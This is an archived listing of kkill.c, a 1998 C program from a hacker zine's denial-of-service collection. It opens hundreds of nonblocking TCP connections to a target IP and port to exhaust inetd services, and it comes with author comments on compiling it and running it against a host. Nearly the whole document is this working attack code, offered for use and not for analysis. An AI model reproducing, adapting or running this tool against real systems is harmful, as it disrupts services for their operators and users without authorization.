home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / kkill.c < prev    next >
C/C++ Source or Header  |  1998-12-16  |  4KB  |  128 lines

  1. /* By kbyte@rwx.ml.org / kbyte@biogate.com  */
  2. /* Made in about 15 minutes . It will close almost any door of inetd */
  3. /* Compile : cc -o kkill kkill.c and run kkill IP PORT */
  4. /* Based on high level tcp functions for linux by jjohnson@eagle.ptialaska.net
  5.  and presonic@undernet.irc */
  6. #include <stdio.h>
  7. #include <unistd.h>
  8. #include <sys/types.h>
  9. #include <sys/time.h>
  10. #include <string.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <sys/socket.h>
  14. #include <sys/types.h>
  15. #include <errno.h>
  16. #include <fcntl.h>
  17.  
  18. #define SOCKET_ERR      -1
  19. #define CONNECT_ERR     -2
  20. #define NONBLOCK_ERR    -3
  21. #define LOOKUP_ERR      "ERROR"
  22. #define TIMEOUT 60
  23. #define BLOCKING        0
  24. #define NONBLOCKING     1
  25.  
  26. int count = 0;
  27.  
  28. int Connect(char *input,int port,int is_nonblock) {
  29.         int sockfd, n;
  30.         int sock_flags;
  31.         struct sockaddr_in addr;
  32.  
  33.         addr.sin_port = htons(port);
  34.         addr.sin_family = AF_INET;
  35.         inet_aton(input,&addr.sin_addr);
  36.         if((sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
  37.         return SOCKET_ERR;
  38.         if(is_nonblock == NONBLOCKING) {
  39.                 if(fcntl(sockfd,F_GETFL,sock_flags) < 0)
  40.                         return NONBLOCK_ERR;
  41.                 if(fcntl(sockfd,F_SETFL,sock_flags | O_NONBLOCK) < 0)
  42.                         return NONBLOCK_ERR;
  43.         }
  44.         if(connect(sockfd,(struct sockaddr *) &addr, sizeof(addr)) < 0)
  45.         {
  46.         if(errno == EINPROGRESS) {
  47.         return sockfd;  /* its non blocking socket */
  48.         } else {
  49.         return CONNECT_ERR;
  50.         }}
  51.         return sockfd;
  52.  
  53. }
  54. main(int argc, char *argv[])
  55. {
  56.         int i, sockfd[256], maxsockfd=0, sockopt, n;
  57.         int first = 0;
  58.         char ip[30];
  59.         fd_set wset;
  60.         socklen_t socklen;
  61.         struct timeval time;
  62.  
  63.         system("clear");
  64.         printf("\n KKill by kbyte@rwx.ml.org \n");
  65.         if(argc != 3)
  66.         {
  67.                 printf("usage: %s ip port \n",argv[0]);
  68.                 exit(-1);
  69.         }
  70.         printf("\n Killing %s on port %s \n\n", argv[1], argv[2]);
  71.         close(STDIN_FILENO);
  72.         close(STDERR_FILENO);
  73.         FD_ZERO(&wset);
  74.         for(i=1 ; i != 256 ; ++i)
  75.         {
  76.                 if((sockfd[i] = Connect(argv[1],atoi(argv[2]),1)) < 0)
  77.                 {
  78.                 printf("Failed calling connect() for sockfd[%d]!\n",i);
  79.                 continue;
  80.                 }
  81.         }
  82.         while(1)
  83.         {
  84.                 for(i = 1 ; i != 256 ; ++i)
  85.                 {
  86. if(getsockopt(sockfd[i],SOL_SOCKET,SO_ERROR,&sockopt,&socklen) == 0) {
  87.                               FD_SET(sockfd[i], &wset);
  88.                               if(sockfd[i] > maxsockfd) maxsockfd = sockfd[i];                }
  89.                 }
  90.                 time.tv_sec = TIMEOUT;
  91.                 if(sockopt==111) {
  92.                 if(first==0) printf("Port Closed. Try another one\n");
  93.                 if(first==1) printf("Bum! Port closed!!!\n");
  94.                 exit(0);
  95.                 }
  96.                 first = 1;
  97.                 if(select(maxsockfd + 1,NULL,&wset,NULL,&time) == 0)
  98.                 {
  99.                         printf("Completed.\n");
  100.                         exit(-1);
  101.                 }
  102.                 {
  103.                         if(FD_ISSET(sockfd[i],&wset))
  104.                         {
  105.                         /* remove the sockfd from wset */
  106.                         FD_CLR(sockfd[i],&wset);
  107.                         socklen = 4;    /* sizeof(int) */
  108.                         sockopt = -1;
  109.                getsockopt(sockfd[i],SOL_SOCKET,SO_ERROR,&sockopt,&socklen);
  110.         
  111.                   close(sockfd[i]);
  112.           if(sockopt == ECONNREFUSED)     {    
  113.                   printf("Port Closed. Try another port\n");
  114.                   exit(-1);
  115.                                   }
  116.                   if(sockopt == ENETUNREACH) {
  117.                   printf("Host unreachable. Try later\n");
  118.                   exit(-1);             }
  119.                   if(sockopt == EHOSTUNREACH) {
  120.                   printf("Host unreachable. Try later\n");
  121.                   exit(-1);                     }
  122.     
  123.         }
  124.         }
  125. }
  126. }
  127.  
  128.